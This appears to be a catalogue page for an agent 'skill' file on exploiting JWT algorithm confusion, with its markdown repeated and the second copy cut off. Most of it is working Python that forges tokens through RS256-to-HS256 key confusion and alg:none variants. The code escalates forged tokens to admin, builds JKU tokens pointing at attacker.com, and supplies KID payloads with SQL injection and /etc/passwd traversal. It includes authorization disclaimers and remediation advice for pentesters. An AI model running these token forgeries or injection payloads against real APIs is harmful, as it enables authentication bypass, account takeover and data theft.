[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6GXW6KKYSCWEWZAWCKEYPDB":3,"skill-same:01M6GXW6KKYSCWEWZAWCKEYPDB":92},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":22,"publishedAt":43,"linkOnly":44,"markdownContent":45,"markdownBody":46,"frontMatter":47,"refName":54,"commitSha":55,"skillDirectory":56,"forksCount":57,"repositoryHtmlUrl":58,"repositoryHomepageUrl":6,"ownerHtmlUrl":59,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":60,"install":61,"resources":74},"01M6GXW6KKYSCWEWZAWCKEYPDB","exploiting-jwt-algorithm-confusion-attack",null,"Exploits JWT algorithm confusion vulnerabilities where the server's token verification library accepts the algorithm specified in the JWT header rather than enforcing a fixed algorithm. The tester manipulates the alg header to switch from RS256 to HS256 (using the RSA public key as the HMAC secret), sets alg to none to bypass signature verification, or exploits kid\u002Fjku\u002Fx5u header injection to supply attacker-controlled keys. Activates for requests involving JWT algorithm confusion, alg none attack, key confusion attack, or JWT signature bypass.","micsapp\u002Fmicstec-skills","micsapp","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F82411001?v=4","01M6GWCFQ6D3PV8EHNY62NN5VW","01M6GWCFVE1PA5HG0DKC7AMFJ3",4,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-jwt-algorithm-confusion-attack\u002FSKILL.md",[17],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",[23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42],"jwt","exploiting jwt algorithm confusion attack","keys","security","requests","supply","as","token","switch","public","api","rsa","algorithm-confusion","injection","api-security","server","library","verification","vulnerabilities","cybersecurity","2026-11-10 10:12:30",false,"---\nname: exploiting-jwt-algorithm-confusion-attack\ndescription: >\n  Exploits JWT algorithm confusion vulnerabilities where the server's token verification\n  library accepts the algorithm specified in the JWT header rather than enforcing a fixed\n  algorithm. The tester manipulates the alg header to switch from RS256 to HS256 (using\n  the RSA public key as the HMAC secret), sets alg to none to bypass signature verification,\n  or exploits kid\u002Fjku\u002Fx5u header injection to supply attacker-controlled keys. Activates\n  for requests involving JWT algorithm confusion, alg none attack, key confusion attack,\n  or JWT signature bypass.\ndomain: cybersecurity\nsubdomain: api-security\ntags: [api-security, jwt, algorithm-confusion, token-forgery, cryptographic-attack]\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\n---\n# Exploiting JWT Algorithm Confusion Attack\n\n## When to Use\n\n- Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256\n- Assessing JWT implementations for alg:none bypass where the server skips signature verification\n- Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret\n- Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection\n- Validating that the API server enforces a specific algorithm and does not trust the JWT header\n\n**Do not use** without written authorization. JWT exploitation can lead to authentication bypass and account takeover.\n\n## Prerequisites\n\n- Written authorization specifying the target API and JWT-based authentication in scope\n- A valid JWT token from the target API (obtained through legitimate authentication)\n- The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)\n- Python 3.10+ with `PyJWT`, `cryptography`, and `requests` libraries\n- jwt_tool for automated JWT attack testing\n- Burp Suite with JWT Editor extension\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: JWT Token Analysis\n\n```python\nimport base64\nimport json\nimport requests\nimport hmac\nimport hashlib\nimport time\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\n\n# Capture a valid JWT token\nlogin_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogin\",\n    json={\"email\": \"test@example.com\", \"password\": \"TestPass123!\"})\nvalid_token = login_resp.json().get(\"access_token\", \"\")\n\n# Decode JWT parts\ndef decode_jwt(token):\n    parts = token.split('.')\n    if len(parts) != 3:\n        raise ValueError(\"Invalid JWT format\")\n\n    def pad(s):\n        return s + '=' * (4 - len(s) % 4)\n\n    header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))\n    payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))\n    return header, payload, parts[2]\n\nheader, payload, signature = decode_jwt(valid_token)\nprint(f\"Algorithm: {header.get('alg')}\")\nprint(f\"Key ID: {header.get('kid', 'none')}\")\nprint(f\"Type: {header.get('typ')}\")\nprint(f\"JKU: {header.get('jku', 'none')}\")\nprint(f\"\\nPayload: {json.dumps(payload, indent=2)}\")\nprint(f\"\\nExpires: {time.ctime(payload.get('exp', 0))}\")\n```\n\n### Step 2: Obtain the Public Key\n\n```python\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.x509 import load_pem_x509_certificate\n\n# Method 1: JWKS endpoint\njwks_url = f\"{BASE_URL}\u002F.well-known\u002Fjwks.json\"\njwks_resp = requests.get(jwks_url)\nif jwks_resp.status_code == 200:\n    jwks = jwks_resp.json()\n    print(f\"JWKS keys found: {len(jwks.get('keys', []))}\")\n    for key in jwks['keys']:\n        print(f\"  kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}\")\n\n    # Extract RSA public key from JWKS\n    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers\n    from cryptography.hazmat.backends import default_backend\n\n    rsa_key = jwks['keys'][0]  # First key\n    n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')\n    e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')\n    public_key = RSAPublicNumbers(e, n).public_key(default_backend())\n    public_key_pem = public_key.public_bytes(\n        encoding=serialization.Encoding.PEM,\n        format=serialization.PublicFormat.SubjectPublicKeyInfo\n    )\n    print(f\"\\nPublic Key (PEM):\\n{public_key_pem.decode()}\")\n\n# Method 2: From well-known OpenID configuration\noidc_resp = requests.get(f\"{BASE_URL}\u002F.well-known\u002Fopenid-configuration\")\nif oidc_resp.status_code == 200:\n    jwks_uri = oidc_resp.json().get('jwks_uri')\n    print(f\"JWKS URI from OIDC config: {jwks_uri}\")\n\n# Method 3: Exposed at common paths\nfor path in [\"\u002Fpublic-key\", \"\u002Fapi\u002Fpublic-key\", \"\u002Foauth\u002Ftoken_key\", \"\u002F.well-known\u002Fjwks\"]:\n    resp = requests.get(f\"{BASE_URL}{path}\")\n    if resp.status_code == 200 and (\"BEGIN\" in resp.text or \"keys\" in resp.text):\n        print(f\"Public key found at: {path}\")\n```\n\n### Step 3: Algorithm Confusion Attack (RS256 to HS256)\n\n```python\ndef forge_hs256_with_public_key(token, public_key_pem, modifications=None):\n    \"\"\"\n    Algorithm confusion: Sign token with HS256 using the RSA public key as secret.\n    If the server uses a generic verify() that trusts the alg header, it will use\n    the public key as the HMAC secret, matching our signature.\n    \"\"\"\n    parts = token.split('.')\n    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\n\n    # Modify payload if requested\n    if modifications:\n        payload.update(modifications)\n\n    # Create header with HS256\n    new_header = {\"alg\": \"HS256\", \"typ\": \"JWT\"}\n\n    # Encode header and payload\n    header_b64 = base64.urlsafe_b64encode(\n        json.dumps(new_header).encode()).decode().rstrip('=')\n    payload_b64 = base64.urlsafe_b64encode(\n        json.dumps(payload).encode()).decode().rstrip('=')\n\n    # Sign with HMAC-SHA256 using the RSA public key as the secret\n    signing_input = f\"{header_b64}.{payload_b64}\".encode()\n\n    # Use the raw PEM bytes as the HMAC key\n    if isinstance(public_key_pem, str):\n        public_key_pem = public_key_pem.encode()\n\n    signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()\n    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')\n\n    return f\"{header_b64}.{payload_b64}.{sig_b64}\"\n\n# Attack 1: Algorithm confusion with same claims\nconfused_token = forge_hs256_with_public_key(valid_token, public_key_pem)\nresp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n    headers={\"Authorization\": f\"Bearer {confused_token}\"})\nprint(f\"Algorithm confusion (same claims): {resp.status_code}\")\nif resp.status_code == 200:\n    print(\"[CRITICAL] Algorithm confusion attack successful - RS256 to HS256\")\n\n# Attack 2: Algorithm confusion with elevated privileges\nadmin_token = forge_hs256_with_public_key(valid_token, public_key_pem,\n    modifications={\"role\": \"admin\", \"sub\": \"admin@example.com\"})\nresp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\",\n    headers={\"Authorization\": f\"Bearer {admin_token}\"})\nprint(f\"Algorithm confusion (admin): {resp.status_code}\")\nif resp.status_code == 200:\n    print(\"[CRITICAL] Admin access via algorithm confusion + claim manipulation\")\n\n# Attack 3: Try different public key formats\nkey_formats = [\n    public_key_pem,                                    # Full PEM\n    public_key_pem.strip(),                            # Stripped whitespace\n    public_key_pem.replace(b'\\n', b''),               # No newlines\n    public_key_pem.decode().split('\\n')[1:-1],        # Base64 only\n]\n\nfor i, key_format in enumerate(key_formats):\n    if isinstance(key_format, list):\n        key_format = ''.join(key_format).encode()\n    elif isinstance(key_format, str):\n        key_format = key_format.encode()\n\n    token = forge_hs256_with_public_key(valid_token, key_format)\n    resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n        headers={\"Authorization\": f\"Bearer {token}\"})\n    if resp.status_code == 200:\n        print(f\"[CRITICAL] Key format {i} worked for algorithm confusion\")\n```\n\n### Step 4: Algorithm None Attack\n\n```python\ndef forge_none_algorithm(token, modifications=None):\n    \"\"\"Create tokens with alg:none variations to bypass signature verification.\"\"\"\n    parts = token.split('.')\n    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\n\n    if modifications:\n        payload.update(modifications)\n\n    payload_b64 = base64.urlsafe_b64encode(\n        json.dumps(payload).encode()).decode().rstrip('=')\n\n    # Different \"none\" algorithm variations\n    none_variants = [\n        {\"alg\": \"none\", \"typ\": \"JWT\"},\n        {\"alg\": \"None\", \"typ\": \"JWT\"},\n        {\"alg\": \"NONE\", \"typ\": \"JWT\"},\n        {\"alg\": \"nOnE\", \"typ\": \"JWT\"},\n        {\"typ\": \"JWT\"},  # Missing alg entirely\n    ]\n\n    tokens = []\n    for variant_header in none_variants:\n        header_b64 = base64.urlsafe_b64encode(\n            json.dumps(variant_header).encode()).decode().rstrip('=')\n\n        # Different signature options\n        sig_options = [\n            \"\",                    # Empty signature\n            \".\",                   # Just a dot\n            parts[2],             # Original signature\n            base64.urlsafe_b64encode(b'\\x00').decode().rstrip('='),  # Null byte\n        ]\n\n        for sig in sig_options:\n            tokens.append(f\"{header_b64}.{payload_b64}.{sig}\")\n\n    return tokens\n\n# Test all none algorithm variations\nnone_tokens = forge_none_algorithm(valid_token)\nfor i, token in enumerate(none_tokens):\n    resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n        headers={\"Authorization\": f\"Bearer {token}\"})\n    if resp.status_code == 200:\n        header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))\n        print(f\"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}\")\n\n# Test with privilege escalation\nadmin_none_tokens = forge_none_algorithm(valid_token,\n    modifications={\"role\": \"admin\", \"is_admin\": True})\nfor token in admin_none_tokens:\n    resp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\",\n        headers={\"Authorization\": f\"Bearer {token}\"})\n    if resp.status_code == 200:\n        print(\"[CRITICAL] Admin access via alg:none bypass\")\n        break\n```\n\n### Step 5: JKU and KID Header Injection\n\n```python\nimport os\n\n# Attack: JKU (JWK Set URL) injection\n# Host attacker-controlled JWKS that contains our key pair\ndef generate_attacker_jwks():\n    \"\"\"Generate an RSA key pair and JWKS for the attacker's server.\"\"\"\n    from cryptography.hazmat.primitives.asymmetric import rsa\n    from cryptography.hazmat.backends import default_backend\n\n    # Generate attacker key pair\n    private_key = rsa.generate_private_key(\n        public_exponent=65537,\n        key_size=2048,\n        backend=default_backend()\n    )\n    public_key = private_key.public_key()\n    public_numbers = public_key.public_numbers()\n\n    n_b64 = base64.urlsafe_b64encode(\n        public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')\n    e_b64 = base64.urlsafe_b64encode(\n        public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')\n\n    jwks = {\n        \"keys\": [{\n            \"kty\": \"RSA\",\n            \"kid\": \"attacker-key-1\",\n            \"use\": \"sig\",\n            \"alg\": \"RS256\",\n            \"n\": n_b64,\n            \"e\": e_b64\n        }]\n    }\n\n    return private_key, jwks\n\nattacker_private_key, attacker_jwks = generate_attacker_jwks()\n\n# Create JWT with JKU pointing to attacker server\ndef forge_jku_token(payload_modifications, jku_url):\n    \"\"\"Create a JWT signed with attacker key, JKU pointing to attacker JWKS.\"\"\"\n    payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '=='))\n    payload.update(payload_modifications)\n\n    header = {\n        \"alg\": \"RS256\",\n        \"typ\": \"JWT\",\n        \"kid\": \"attacker-key-1\",\n        \"jku\": jku_url  # Points to attacker-hosted JWKS\n    }\n\n    header_b64 = base64.urlsafe_b64encode(\n        json.dumps(header).encode()).decode().rstrip('=')\n    payload_b64 = base64.urlsafe_b64encode(\n        json.dumps(payload).encode()).decode().rstrip('=')\n\n    # Sign with attacker's private key\n    from cryptography.hazmat.primitives import hashes\n    from cryptography.hazmat.primitives.asymmetric import padding\n\n    signing_input = f\"{header_b64}.{payload_b64}\".encode()\n    signature = attacker_private_key.sign(\n        signing_input,\n        padding.PKCS1v15(),\n        hashes.SHA256()\n    )\n    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')\n\n    return f\"{header_b64}.{payload_b64}.{sig_b64}\"\n\n# Test JKU injection with various URLs\njku_urls = [\n    \"https:\u002F\u002Fattacker.com\u002F.well-known\u002Fjwks.json\",\n    \"https:\u002F\u002Fattacker.com\u002Fjwks\",\n    # Bypass URL filters\n    f\"{BASE_URL}@attacker.com\u002Fjwks\",\n    f\"{BASE_URL}\u002F.well-known\u002Fjwks.json#@attacker.com\",\n]\n\nfor jku in jku_urls:\n    token = forge_jku_token({\"role\": \"admin\"}, jku)\n    # Note: This test requires hosting the attacker JWKS at the specified URL\n    print(f\"  JKU injection payload generated for: {jku}\")\n\n# KID injection (SQL injection in kid parameter)\nkid_injection_payloads = [\n    \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fdev\u002Fnull\",              # Path traversal to empty file\n    \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fproc\u002Fsys\u002Fkernel\u002Fhostname\",\n    \"' UNION SELECT 'secret-key' -- \",         # SQL injection in kid lookup\n    \"' OR '1'='1\",\n    \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\",\n    \"https:\u002F\u002Fattacker.com\u002Fkey.pem\",            # URL-based kid\n]\n\nfor kid in kid_injection_payloads:\n    modified_header = {\"alg\": \"HS256\", \"typ\": \"JWT\", \"kid\": kid}\n    header_b64 = base64.urlsafe_b64encode(\n        json.dumps(modified_header).encode()).decode().rstrip('=')\n    payload_b64 = valid_token.split('.')[1]\n\n    # Sign with the expected key material from the injection\n    signing_input = f\"{header_b64}.{payload_b64}\".encode()\n    # For path traversal to \u002Fdev\u002Fnull, the key would be empty\n    sig = hmac.new(b\"\", signing_input, hashlib.sha256).digest()\n    sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=')\n\n    token = f\"{header_b64}.{payload_b64}.{sig_b64}\"\n    resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n        headers={\"Authorization\": f\"Bearer {token}\"})\n    if resp.status_code == 200:\n        print(f\"[CRITICAL] KID injection successful: {kid}\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Algorithm Confusion** | Attack where the server trusts the alg header in the JWT, allowing an attacker to switch from RS256 to HS256 and sign with the public key as the HMAC secret |\n| **alg:none Attack** | Setting the JWT algorithm to \"none\" to bypass signature verification entirely, if the library does not enforce algorithm selection |\n| **JKU Injection** | Manipulating the jku (JWK Set URL) header to point to an attacker-controlled JWKS endpoint, allowing the attacker to supply their own signing keys |\n| **KID Injection** | Injecting SQL, path traversal, or URL payloads into the kid (Key ID) header parameter to manipulate key selection or read arbitrary files |\n| **Key Confusion** | Using the RSA public key as the HMAC secret when the server incorrectly switches from asymmetric to symmetric verification |\n| **JWKS (JSON Web Key Set)** | A JSON structure containing the public keys used by the server to verify JWT signatures, typically hosted at a well-known endpoint |\n\n## Tools & Systems\n\n- **jwt_tool**: Python-based JWT testing toolkit with 12+ attack modes including alg confusion, none bypass, and kid injection\n- **Burp Suite JWT Editor**: Extension for decoding, editing, and re-signing JWTs with algorithm manipulation capabilities\n- **hashcat (mode 16500)**: GPU-accelerated HMAC secret brute-forcing for HS256\u002FHS384\u002FHS512-signed JWTs\n- **John the Ripper**: CPU-based JWT secret cracking with wordlist and rule-based attacks\n- **jwt.io**: Online JWT decoder and debugger for quick token analysis\n\n## Common Scenarios\n\n### Scenario: Algorithm Confusion on Banking API\n\n**Context**: A banking API uses RS256-signed JWTs for authentication. The JWKS endpoint is publicly accessible. The API handles financial transactions requiring high assurance authentication.\n\n**Approach**:\n1. Obtain a valid JWT by authenticating as a regular user\n2. Extract the RSA public key from the JWKS endpoint at `\u002F.well-known\u002Fjwks.json`\n3. Create a new JWT with `\"alg\": \"HS256\"` header and sign it using the RSA public key as the HMAC secret\n4. Send the forged token to `GET \u002Fapi\u002Fv1\u002Fusers\u002Fme` - server accepts it (algorithm confusion confirmed)\n5. Modify the payload to set `\"role\": \"admin\"` and `\"sub\": \"admin@bank.com\"` - sign with the public key\n6. Access admin endpoints: `GET \u002Fapi\u002Fv1\u002Fadmin\u002Ftransactions` returns all transaction history\n7. Test alg:none: rejected by the server (partial mitigation)\n8. Test kid injection with SQL payload: kid parameter is used in a SQL query to look up keys, enabling SQL injection\n\n**Pitfalls**:\n- Using the wrong format of the public key as the HMAC secret (PEM with\u002Fwithout headers, DER, raw bytes)\n- Not trying multiple public key formats when the first one does not produce a valid signature\n- Assuming the alg:none defense means algorithm confusion is also mitigated\n- Not testing kid injection vectors when the kid parameter is present in the JWT header\n- Missing JKU\u002Fx5u header injection when the server fetches keys from URLs\n\n## Output Format\n\n```\n## Finding: JWT Algorithm Confusion Enables Authentication Bypass\n\n**ID**: API-JWT-001\n**Severity**: Critical (CVSS 9.8)\n**CVE Reference**: CVE-2024-54150 (related pattern)\n**Affected Component**: JWT authentication middleware\n\n**Description**:\nThe API's JWT verification library trusts the algorithm specified in\nthe JWT header rather than enforcing a fixed algorithm. An attacker can\nchange the algorithm from RS256 to HS256 and sign the token using the\nserver's RSA public key (available from the JWKS endpoint) as the HMAC\nsecret. The server then uses the same public key to verify the HMAC\nsignature, which succeeds, allowing the attacker to forge tokens for\nany user with any role.\n\n**Attack Chain**:\n1. Obtain public key: GET \u002F.well-known\u002Fjwks.json\n2. Create JWT: {\"alg\":\"HS256\",\"typ\":\"JWT\"}.{\"sub\":\"admin\",\"role\":\"admin\"}\n3. Sign with HMAC-SHA256 using RSA public key PEM as secret\n4. Access admin API: GET \u002Fapi\u002Fv1\u002Fadmin\u002Ftransactions -> 200 OK\n\n**Impact**:\nComplete authentication bypass. An attacker can forge tokens for any\nuser including administrators, accessing all financial transactions,\nuser data, and administrative functions.\n\n**Remediation**:\n1. Enforce the expected algorithm at the server configuration level: jwt.verify(token, key, algorithms=[\"RS256\"])\n2. Never trust the alg header from the JWT for algorithm selection\n3. Update the JWT library to the latest version with algorithm confusion protections\n4. Consider using EdDSA (Ed25519) which does not have symmetric\u002Fasymmetric confusion risk\n5. Implement token binding to prevent forged token acceptance\n```\n","# Exploiting JWT Algorithm Confusion Attack\n\n## When to Use\n\n- Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256\n- Assessing JWT implementations for alg:none bypass where the server skips signature verification\n- Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret\n- Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection\n- Validating that the API server enforces a specific algorithm and does not trust the JWT header\n\n**Do not use** without written authorization. JWT exploitation can lead to authentication bypass and account takeover.\n\n## Prerequisites\n\n- Written authorization specifying the target API and JWT-based authentication in scope\n- A valid JWT token from the target API (obtained through legitimate authentication)\n- The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)\n- Python 3.10+ with `PyJWT`, `cryptography`, and `requests` libraries\n- jwt_tool for automated JWT attack testing\n- Burp Suite with JWT Editor extension\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: JWT Token Analysis\n\n```python\nimport base64\nimport json\nimport requests\nimport hmac\nimport hashlib\nimport time\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\n\n# Capture a valid JWT token\nlogin_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogin\",\n    json={\"email\": \"test@example.com\", \"password\": \"TestPass123!\"})\nvalid_token = login_resp.json().get(\"access_token\", \"\")\n\n# Decode JWT parts\ndef decode_jwt(token):\n    parts = token.split('.')\n    if len(parts) != 3:\n        raise ValueError(\"Invalid JWT format\")\n\n    def pad(s):\n        return s + '=' * (4 - len(s) % 4)\n\n    header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))\n    payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))\n    return header, payload, parts[2]\n\nheader, payload, signature = decode_jwt(valid_token)\nprint(f\"Algorithm: {header.get('alg')}\")\nprint(f\"Key ID: {header.get('kid', 'none')}\")\nprint(f\"Type: {header.get('typ')}\")\nprint(f\"JKU: {header.get('jku', 'none')}\")\nprint(f\"\\nPayload: {json.dumps(payload, indent=2)}\")\nprint(f\"\\nExpires: {time.ctime(payload.get('exp', 0))}\")\n```\n\n### Step 2: Obtain the Public Key\n\n```python\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.x509 import load_pem_x509_certificate\n\n# Method 1: JWKS endpoint\njwks_url = f\"{BASE_URL}\u002F.well-known\u002Fjwks.json\"\njwks_resp = requests.get(jwks_url)\nif jwks_resp.status_code == 200:\n    jwks = jwks_resp.json()\n    print(f\"JWKS keys found: {len(jwks.get('keys', []))}\")\n    for key in jwks['keys']:\n        print(f\"  kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}\")\n\n    # Extract RSA public key from JWKS\n    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers\n    from cryptography.hazmat.backends import default_backend\n\n    rsa_key = jwks['keys'][0]  # First key\n    n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')\n    e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')\n    public_key = RSAPublicNumbers(e, n).public_key(default_backend())\n    public_key_pem = public_key.public_bytes(\n        encoding=serialization.Encoding.PEM,\n        format=serialization.PublicFormat.SubjectPublicKeyInfo\n    )\n    print(f\"\\nPublic Key (PEM):\\n{public_key_pem.decode()}\")\n\n# Method 2: From well-known OpenID configuration\noidc_resp = requests.get(f\"{BASE_URL}\u002F.well-known\u002Fopenid-configuration\")\nif oidc_resp.status_code == 200:\n    jwks_uri = oidc_resp.json().get('jwks_uri')\n    print(f\"JWKS URI from OIDC config: {jwks_uri}\")\n\n# Method 3: Exposed at common paths\nfor path in [\"\u002Fpublic-key\", \"\u002Fapi\u002Fpublic-key\", \"\u002Foauth\u002Ftoken_key\", \"\u002F.well-known\u002Fjwks\"]:\n    resp = requests.get(f\"{BASE_URL}{path}\")\n    if resp.status_code == 200 and (\"BEGIN\" in resp.text or \"keys\" in resp.text):\n        print(f\"Public key found at: {path}\")\n```\n\n### Step 3: Algorithm Confusion Attack (RS256 to HS256)\n\n```python\ndef forge_hs256_with_public_key(token, public_key_pem, modifications=None):\n    \"\"\"\n    Algorithm confusion: Sign token with HS256 using the RSA public key as secret.\n    If the server uses a generic verify() that trusts the alg header, it will use\n    the public key as the HMAC secret, matching our signature.\n    \"\"\"\n    parts = token.split('.')\n    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\n\n    # Modify payload if requested\n    if modifications:\n        payload.update(modifications)\n\n    # Create header with HS256\n    new_header = {\"alg\": \"HS256\", \"typ\": \"JWT\"}\n\n    # Encode header and payload\n    header_b64 = base64.urlsafe_b64encode(\n        json.dumps(new_header).encode()).decode().rstrip('=')\n    payload_b64 = base64.urlsafe_b64encode(\n        json.dumps(payload).encode()).decode().rstrip('=')\n\n    # Sign with HMAC-SHA256 using the RSA public key as the secret\n    signing_input = f\"{header_b64}.{payload_b64}\".encode()\n\n    # Use the raw PEM bytes as the HMAC key\n    if isinstance(public_key_pem, str):\n        public_key_pem = public_key_pem.encode()\n\n    signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()\n    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')\n\n    return f\"{header_b64}.{payload_b64}.{sig_b64}\"\n\n# Attack 1: Algorithm confusion with same claims\nconfused_token = forge_hs256_with_public_key(valid_token, public_key_pem)\nresp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n    headers={\"Authorization\": f\"Bearer {confused_token}\"})\nprint(f\"Algorithm confusion (same claims): {resp.status_code}\")\nif resp.status_code == 200:\n    print(\"[CRITICAL] Algorithm confusion attack successful - RS256 to HS256\")\n\n# Attack 2: Algorithm confusion with elevated privileges\nadmin_token = forge_hs256_with_public_key(valid_token, public_key_pem,\n    modifications={\"role\": \"admin\", \"sub\": \"admin@example.com\"})\nresp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\",\n    headers={\"Authorization\": f\"Bearer {admin_token}\"})\nprint(f\"Algorithm confusion (admin): {resp.status_code}\")\nif resp.status_code == 200:\n    print(\"[CRITICAL] Admin access via algorithm confusion + claim manipulation\")\n\n# Attack 3: Try different public key formats\nkey_formats = [\n    public_key_pem,                                    # Full PEM\n    public_key_pem.strip(),                            # Stripped whitespace\n    public_key_pem.replace(b'\\n', b''),               # No newlines\n    public_key_pem.decode().split('\\n')[1:-1],        # Base64 only\n]\n\nfor i, key_format in enumerate(key_formats):\n    if isinstance(key_format, list):\n        key_format = ''.join(key_format).encode()\n    elif isinstance(key_format, str):\n        key_format = key_format.encode()\n\n    token = forge_hs256_with_public_key(valid_token, key_format)\n    resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n        headers={\"Authorization\": f\"Bearer {token}\"})\n    if resp.status_code == 200:\n        print(f\"[CRITICAL] Key format {i} worked for algorithm confusion\")\n```\n\n### Step 4: Algorithm None Attack\n\n```python\ndef forge_none_algorithm(token, modifications=None):\n    \"\"\"Create tokens with alg:none variations to bypass signature verification.\"\"\"\n    parts = token.split('.')\n    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\n\n    if modifications:\n        payload.update(modifications)\n\n    payload_b64 = base64.urlsafe_b64encode(\n        json.dumps(payload).encode()).decode().rstrip('=')\n\n    # Different \"none\" algorithm variations\n    none_variants = [\n        {\"alg\": \"none\", \"typ\": \"JWT\"},\n        {\"alg\": \"None\", \"typ\": \"JWT\"},\n        {\"alg\": \"NONE\", \"typ\": \"JWT\"},\n        {\"alg\": \"nOnE\", \"typ\": \"JWT\"},\n        {\"typ\": \"JWT\"},  # Missing alg entirely\n    ]\n\n    tokens = []\n    for variant_header in none_variants:\n        header_b64 = base64.urlsafe_b64encode(\n            json.dumps(variant_header).encode()).decode().rstrip('=')\n\n        # Different signature options\n        sig_options = [\n            \"\",                    # Empty signature\n            \".\",                   # Just a dot\n            parts[2],             # Original signature\n            base64.urlsafe_b64encode(b'\\x00').decode().rstrip('='),  # Null byte\n        ]\n\n        for sig in sig_options:\n            tokens.append(f\"{header_b64}.{payload_b64}.{sig}\")\n\n    return tokens\n\n# Test all none algorithm variations\nnone_tokens = forge_none_algorithm(valid_token)\nfor i, token in enumerate(none_tokens):\n    resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n        headers={\"Authorization\": f\"Bearer {token}\"})\n    if resp.status_code == 200:\n        header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))\n        print(f\"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}\")\n\n# Test with privilege escalation\nadmin_none_tokens = forge_none_algorithm(valid_token,\n    modifications={\"role\": \"admin\", \"is_admin\": True})\nfor token in admin_none_tokens:\n    resp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\",\n        headers={\"Authorization\": f\"Bearer {token}\"})\n    if resp.status_code == 200:\n        print(\"[CRITICAL] Admin access via alg:none bypass\")\n        break\n```\n\n### Step 5: JKU and KID Header Injection\n\n```python\nimport os\n\n# Attack: JKU (JWK Set URL) injection\n# Host attacker-controlled JWKS that contains our key pair\ndef generate_attacker_jwks():\n    \"\"\"Generate an RSA key pair and JWKS for the attacker's server.\"\"\"\n    from cryptography.hazmat.primitives.asymmetric import rsa\n    from cryptography.hazmat.backends import default_backend\n\n    # Generate 